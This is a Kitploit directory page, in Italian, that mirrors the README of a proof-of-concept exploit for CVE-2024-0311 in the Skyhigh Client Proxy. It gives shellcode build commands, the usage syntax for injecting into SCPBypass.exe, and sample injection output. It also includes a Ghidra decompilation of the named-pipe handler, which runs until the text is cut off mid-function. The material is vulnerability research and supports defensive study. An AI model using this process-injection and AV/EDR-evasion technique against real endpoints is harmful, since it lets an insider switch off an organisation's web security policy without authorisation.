Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/calligraf0/cve-2024-0311
Escalation di PrivilegiExploitEvasione IDS/IPSReverse EngineeringShellcodeSviluppo PayloadBinary Exploitation
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Exploit proof-of-concept per CVE-2024-0311 che bypassa la policy di Skyhigh Client Proxy tramite iniezione di processi e manipolazione di named pipe, con shellcode personalizzato per eludere le restrizioni AV/EDR.

Vedi Repository
92221 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-0311 ?

Questa è una PoC per quella che credo sia la CVE-2024-0311, SB10418.

Un insider malintenzionato può aggirare la policy esistente di Skyhigh Client Proxy senza un codice di rilascio valido.

Tanti dettagli. Molto exploit. ¯\(ツ)/¯

La PoC si inietta in un processo SCPBypass.exe avviato dall'utente e scrive nella pipe di SCPService.exe: \\.\pipe\MCPTrayPipe0. L'iniezione è necessaria perché, anche se la pipe è RW Everyone, WGUARDNT effettua alcuni controlli sull'eseguibile che scrive nella pipe (viene controllato il percorso dello scrittore), vedi sotto.

Viene fornito uno shellcode di esempio che consente l'esecuzione di WriteFile sulla pipe anche se Trellix/McAfee sono in esecuzione e intercettano/bloccano LoadLibrary.

Compilazione

Compilare in modalità Debug o Release da Visual Studio

Shellcode

Genera lo shellcode tramite:

cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

quindi sostituisci lo shellcode in shellcode.c.

Utilizzo

Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Output di esempio:

PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Se tutto è andato per il verso giusto, nei file di log SCP dovresti trovare una voce simile a questa:

10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Analisi

Questa sarà una breve analisi, perché nessuno ha tempo per le parole.

Skyhigh Proxy Client

Prima di tutto, cos'è il client proxy Skyhigh?

Il software Skyhigh Security Client Proxy aiuta a proteggere gli utenti endpoint dalle minacce alla sicurezza che si presentano quando accedono al web dall'interno o dall'esterno della rete. Il software client, installato su endpoint che eseguono Microsoft Windows o macOS, reindirizza le richieste web o le lascia proseguire verso un proxy per il filtraggio. Il software server gira su una delle piattaforme di gestione: Trellix ePO SaaS o Trellix ePO Cloud.

Questo dovrebbe chiarire le cose.

Qual è la causa principale?

Date le informazioni dell'advisory, non c'è molto su cui basarsi. Ad essere sincero, stavo esaminando il servizio binario per individuare problemi facilmente sfruttabili per LPE quando ho visto CreateNamedPipe e mi sono incuriosito.

Ecco una rapida copia incolla del codice decompilato da Ghidra:

void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Come possiamo vedere, una volta chiamata la funzione, viene inizializzata una nuova struct DACL e viene creata una nuova pipe \\.\pipe\MCPTrayPipe0 in byte mode.

Poi, finché l'handle a tale pipe è valido, il programma legge da essa e cerca di convertire i byte inviati da ASCII a int con atoi(out_lpBuffer). Ignorando il fatto che esistono alternative migliori a atoi, supponendo che la chiamata a atoi non sia fallita, il valore convertito viene passato a FUN_14022d5b0:


undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];
Scarica lo strumento